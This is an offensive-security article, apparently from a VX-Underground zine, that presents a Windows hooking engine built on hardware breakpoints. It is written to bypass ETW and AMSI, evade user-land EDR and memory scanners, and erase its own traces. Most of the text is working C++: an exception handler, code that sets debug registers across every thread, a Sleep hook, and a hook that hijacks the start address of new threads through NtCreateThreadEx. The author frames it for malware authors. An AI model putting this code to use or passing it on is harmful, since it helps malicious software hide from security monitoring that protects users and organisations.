
Hardware breakpoint hooking engine for Windows that uses debug registers to hook functions, bypass ETW/AMSI, and evade user-land EDR monitoring.
This article was origininally for VX-Underground Black Mass Halloween Edition 2022.
Hooking Engines:
Generic x64 user-land evasion technique utilizing debug registers:
Example ETW/AMSI hooks available
Our task is to trivially hook functions and divert the code flow as needed, and finally remove the hook once it is no longer needed.
We cannot look to apply IAT hooks as they are not always called and thus unreliable. Inline hooking is a powerful technique; however, it requires we patch the memory where the code lies. This is a powerful technique, but tools such as PE-Sieve and Moneta can distinguish the difference in the memory resident and on-disk copy of a module and flag this. This leaves us with the perfect tool for the job: Debug Registers, though they are pretty underappreciated by malware authors!
On Windows, as a high-level overview, a process is essentially an encapsulation of threads, and each of these threads maintains a context which is the thread's state: the registers and stack etc. Debug registers are a privileged resource, and so is setting them; however, Windows exposes various syscalls, which allow us to request that the kernel make a privileged action on our behalf; this includes setting debug registers which are perfect for us. NtSetThreadContext and NtGetThreadContext expose functionality to modify any thread context to which we can open a handle with the necessary privilege. We can see how to set debug registers with the Win32 API.
CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
GetThreadContext(thd, &context);
// set our debug information in the Dr registers
SetThreadContext(thd, &context);
There are 8 Debug registers, from Dr0 through to Dr7. The ones of interest to us are only Dr0-3 which we store addresses we would like to break on, and Dr6 is just the debug status. Most importantly is Dr7, which describes the breakpoints conditions in which the processor will throw an exception. There are various limitations when using debug registers, such as a limited number (4) and not being applied to all threads/newly spawned threads. We will look to address some of these limitations!
When the exception is thrown, it will look for an exception handler which we can define and register in our program [1]. In our defined exception handler, we want our associated code (different code flows) to run when the corresponding breakpoint is triggered.
LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
{
// Look for our associated code flow relative to our RIP
if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {
HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
This is achieved by a constructor function that sets the mapping between a "callback" lambda function and an address. using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;
typedef struct {
UINT pos;
EXCEPTION_FUNC func;
} HWBP_CALLBACK;
// Global
std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };
// Create our mapping
HWBP_ADDRESS_MAP[address].func = function;
HWBP_ADDRESS_MAP[address].pos = pos;
We must iterate through all our process threads and set the corresponding adjustments to the context for them. This can be achieved using the ToolHelp32 helper functions: CreateToolhelp32Snapshot, and Thread32Next. This is nothing fancy, but it addresses one of our limitations of not attaching to all threads.
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)
{
DWORD pid{ GetCurrentProcessId() };
HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };
if (h != INVALID_HANDLE_VALUE) {
THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };
if (Thread32First(h, &te)) {
do {
if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
Having hardware breakpoints set are arguably suspicious as they may indicate malicious activity (though no EDRs, to my knowledge, actively scan for them). They can be used against us as a potential IoC so we must remove their traces once we are done using them.
We can implement this in our deconstructor function!! This will iterate through all threads and check if the register (&context.Dr0)[pos] points to the address at which we initially set the hardware breakpoint (pos is just an index % 4 giving us access to the context.Dr0-Dr3). We can also remove the conditions needed in the Dr7 register. We must also remember to remove our mapping entry. Therefore, our hardware breakpoint will only be present for the required duration!
SetHWBPS(address, pos, false);
HWBP_ADDRESS_MAP.erase(address);
An example hardware breakpoint would be Sleep, where we just replace the sleep duration with 0.
HWBP HWBPSleep{ (uintptr_t)&Sleep, 0, // Set Dr 0
([&](PEXCEPTION_POINTERS ExceptionInfo) {
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // continue execution
}) };
We know to set RCX due to the x64 Windows four-register fast-call calling convention[1]. The first argument to the constructor is the address to break on, the second is which Dr0- 3 register to store in (note, we can only have 4 addresses to break on at one time), and the third is a lambda function which will capture by reference PEXCEPTION_POINTERS which is the information an exception handler will receive. This will ultimately let us control the flow of a program differently depending on which breakpoint was triggered.
When a new thread is created, it does not inherit the associated Debug Registers set unless we somehow manage to intercept the creation of a new thread! One neat trick we can use would be to capture the actual start address and divert the new thread to create our own thread. The majority of new threads are ended up calling NtCreateThreadEx.
// Global Variable
PVOID START_THREAD{ 0 };
// capture original start address
HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"),
"NtCreateThreadEx"), 1,
([&](PEXCEPTION_POINTERS ExceptionInfo) {
// save original thread address
START_THREAD = (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28);
// set the start address to our thread address
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28) = (uintptr_t)&HijackThread;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };
DWORD WINAPI HijackThread(LPVOID lpParameter)
{
typedef DWORD(WINAPI* typeThreadProc)(LPVOID lpParameter);
// Set required HWBP
for (auto& i : HWBP_ADDRESS_MAP) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
}
// restore execution to original thread
return ((typeThreadProc)START_THREAD)(lpParameter);
}